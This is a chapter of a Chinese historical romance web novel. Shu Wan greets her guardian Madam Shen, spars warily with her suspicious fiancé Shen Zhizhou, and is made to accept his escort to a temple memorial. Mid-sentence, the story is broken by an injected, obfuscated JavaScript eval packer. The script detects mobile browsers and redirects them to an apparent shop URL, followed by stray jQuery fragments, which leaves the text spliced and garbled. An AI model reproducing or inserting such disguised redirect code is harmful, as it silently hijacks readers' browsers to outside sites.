看着她那双通红的兔子眼,看着她那副楚楚可怜的模样。
他没有再逼问,只是缓缓坐直了身体,恢复了那副温润公子的模样。
若是如此,似乎也能说得通她为何会出现在栖芜宫禁地。
良久,他才淡淡道,“那是沈某误会姑娘了,上次唐突了姑娘,还望姑娘不计前嫌。”
她打了个哈欠,眼中挤出几分疲惫至极的神色,用手帕掩着唇,虚弱地咳了两声。
“无妨……误会解开了便好,公子,我有些累了,想歇息了。”
“那......姑娘好生歇着,我改日再来看你。”
直到那道身影彻底消失在门外,舒挽才像是被抽干了所有力气一般,瘫软在床榻上。
次日清晨,熹微的晨光透过窗纱。
舒挽缓缓睁开眼,那股盘踞在四肢百骸的酸软与沉重感,已然消散了大半。
头也不似昨日那般针扎似的疼了。
这具身体看起来孱弱,但底子尚可,恢复得倒也快。
舒挽撑着床沿坐起身,唤来碧云伺候梳洗。
镜中的少女,面色依旧带着几分病后的苍白,却已不见昨日的憔悴。一双杏眼,清凌凌的,像是被雨水洗过的黑曜石,沉静得不像个刚及笄的女子。
“姑娘,您今日气色好多了。”碧云一边为她梳着长发,一边喜滋滋地说道。
舒挽“嗯”了一声,心中已有了计较。
沈家待她不薄,于情于理,病好了都该去向沈夫人请个安,道声谢。
思及此,她吩咐道,“替我好好梳妆,我们去给夫人请安。”
碧云高兴应了一声。
不多时,舒挽便带着碧云,缓步走向沈夫人所居的安和堂。
安和堂内,檀香袅袅,沁人心脾。
舒挽刚踏入正厅的门槛,脚步便几不可查地一顿。
只见厅中主位上,沈夫人正同一名年轻男子说着话。
那男子身着一袭靛蓝色锦袍,腰间束着玉带,墨发高束,身姿清隽挺拔,不是沈知洲又是谁?
他正侧对着门口,手执茶盏,慢条斯理地品着,阳光从他身侧的窗棂照进来,在他周身镀上了一层浅淡的金辉,衬得他眉眼疏朗,温润如玉。
她心头一凛,面上却不动声色,上前盈盈一拜。
“舒挽给伯母请安。”
沈夫人闻声回头,见是她,脸上立刻绽开一抹慈爱的笑意。
“快起来,你这孩子,大病初愈,怎么不多歇歇?”
她一边说着,一边亲热地拉过舒挽的手,让她在自己身边的绣墩上坐下。
“已经好多了,劳伯母挂心了。”舒挽温顺地应道,眼角的余光却始终留意着沈知洲的动静。
“知洲,这便是你父亲和你提起的,到家中暂住的表妹。”沈夫人拍了拍舒挽的手背,笑意盈盈地对儿子道,“还不见过你意......舒挽表妹。”
沈知洲放下茶盏,目光沉静地落在舒挽身上。
那双深邃的眼眸里,看不出半分波澜,仿佛昨夜那个步步紧逼的人,根本不是他。
舒挽迎上他的视线,微微垂下眼睫,做出几分羞怯的模样,柔声道,“舒挽见过表哥。”
沈夫人见状,笑得愈发开怀,“你们啊,虽早有婚约,却也是头一回见。”
沈知洲唇角微勾,那笑意却未达眼底。
“虽未曾得见,但先前经常收到家书,时常听母亲与妹妹提起,说表妹知书达礼,温婉贤淑。”
他说到这里,话锋一转,目光直直地看向舒挽。
“今日一见,果然是闻名不如见面,是个难得的好姑娘。”
说罢,沈知洲站起身来,对着舒挽行了一礼。
这话说得……真是漂亮。
舒挽心中冷笑。
这是在夸她,还是在讽刺她?
这沈知洲,当真是只笑面狐狸。
她心中念头百转,面上却依旧是那副柔弱娇羞的模样,抬起头,眼中似有水光潋滟,恰到好处地流露出一丝对未来夫婿的仰慕。
“表哥谬赞了。表哥才是人中龙凤,且不说仪表堂堂,年纪轻轻便身居高位,是国之栋梁,是京城数一数二的好儿郎,实乃值得托付终身的好郎君。”
她这一番话,说得情真意切,既捧了沈知洲,又暗暗表明了自己的“心意”。
沈知洲听着,眼底的墨色似乎又深沉了几分。
沈夫人却没听出这二人言语间的机锋,只当他们是郎有情妾有意,一见如故。
“好好好!”她乐得合不拢嘴,“你们俩都好,都好!看着你们这般,我这心里啊,就踏实了。”
说着,沈夫人又叹了口气,眼中流露出一丝伤感与惋惜。
“原本想着,今年年底,便让咱们两家过了文定。待到开春,你过了门,咱们沈家也添一桩大喜事。”
“只可惜……造化弄人啊……”
沈夫人的声音哽咽起来,眼眶也红了。
舒挽心中一动。
她没想到,宋家遭此巨变,沦为罪臣之后,沈家非但没有落井下石,解除婚约,反而依旧将她这个“孤女”视若亲媳。
这份情义,在这凉薄的世间,当真是千金难换。
一股陌生的暖流,悄然淌过心间。
她连忙起身,抽出帕子,轻轻为沈夫人拭去眼角的泪花,柔声宽慰道,“伯母,您别伤心了。斯人已逝,活着的人,更要好好活着。”
“如今我虽孤身一人,但有伯母和大家的疼爱,我已经觉得很知足,很幸运了。”她的声音带着一丝哽咽。
沈夫人闻言,反握住她的手,又是心疼又是欣慰。
“好孩子,真是个好孩子。你放心,以后沈家就是你的家,谁也别想欺负了你去!”
舒挽心中微暖,点了点头。
沈母说完又拉着舒挽的手一脸慈祥说道:
“我儿是个内敛之人,平日也默寡言不会说什么好话,若将来说错什么话惹得你不开心了,你就来告诉伯母,伯母定会好好教训他。”
舒挽听到这暗示性的话假装羞得头都不敢抬,“伯母您说笑了。”
突然沈夫人像是想起了什么,神色一肃。
“对了,我险些忘了件大事。再过两日,便是你父亲母亲他们的……‘百日卒哭’之日了。你可有何打算?”
百日卒哭!
舒挽的脑中“嗡”的一声,如遭雷击。
她竟然把这么重要的事情给忘了!
舒挽定了定神,哑声道,“感谢伯母垂怜,舒挽想去护国寺为逝去的亲人们超度亡魂,还望伯母应允。”
舒挽说完对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712742|189301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着沈母磕了三个响头。
沈母点了点头,“我正有此意,只是出于对你安全的考虑,此事不宜宣扬,不宜大办,如此一来,只怕要委屈你了。”
她顿了顿,目光转向一旁的沈知洲。
“正好知洲这几日在家,你一个姑娘家,独自出城我不放心。就让知洲陪你一同去吧。”
让沈知洲陪她去?
舒挽心中一惊,下意识地便要拒绝。
“多谢伯母疼爱,舒挽不觉委屈,若是没有沈伯父和伯母收留,舒挽只怕连这个心愿都是奢望。”舒挽低下头,声音略显哽咽。,话锋一转:
“伯母,表哥公务繁忙,又难得归家,怎好劳烦他,舒挽同府上家丁一同前往即可……”
“这有什么!”沈夫人不容置喙地打断她,“再忙,也不差这一两日的功夫。你身份特殊,旁人我并不放心,这个事情交给知洲我放心。”
“再说,你们是未婚夫妻,一同去为你爹娘上柱香,也是应有之理。就这么说定了!”
沈夫人一锤定音,舒挽再想推辞,也找不到合适的理由。
她只能暗暗咬了咬牙,低头应下,“……是,全凭伯母做主。”
一旁的沈知洲,自始至终未发一言,只是静静地看着她。
从安和堂出来,已是日上三竿。
舒挽与沈知洲一前一后,沉默地走在抄手游廊下。
气氛,有些微妙的凝滞。
最终,还是舒挽先沉不住气,停下脚步,转过身。
“沈公子,”她刻意拉开了称呼的距离,语气也恢复了疏离,“护国寺之行,沈公子若当真公务繁忙,不必特意陪同。我可以让府里的护卫跟着,不会出什么岔子。”
沈知洲也停了下来,与她隔着三步之遥,淡淡道,“我想确实是不会出什么岔子,姑娘连龙潭虎穴都能安然无恙之人,区区一个护国寺又怎会危险?”
舒挽深吸一口气,没想到他这人在无人的时候说话这么直白。
“如此,那公子您自忙您的事情,伯母那边我自会和她解释。”
沈知洲闻言,却是轻笑一声。
那笑声清越,在安静的廊下,显得格外清晰。
“表妹这是……在怕我?”
他微微向前一步,高大的身影笼罩下来,带着一股无形的压迫感。
“我只是不想耽误沈公子的正事。”舒挽垂下眼帘,不与他对视。
“无妨。”沈知洲的声音,清晰地在她头顶响起,带着一丝不容拒绝的意味。
“送自家未婚妻去祭拜未来的岳父岳母,于情于理,都是我分内之事。”
“况且,”他话音一顿,声音压低了几分,只有他们两人能听见,“我对我的未婚妻很是好奇,想多和表妹你接触接触。”
舒挽猛地抬起头,撞进他那双幽深如潭的眼眸里。
那眼底,分明带着探究与审视。
他对她到底还是有疑心,还是不信她的。
舒挽攥紧了藏在袖中的手,指尖微凉。
良久,她扯出一抹僵硬的笑。
“是吗?那……那便有劳表哥了。”
“不客气。”
沈知洲说完,便转身离去,只留给她一个挺拔的背影。
舒挽站在原地,望着他消失的方向,久久未动。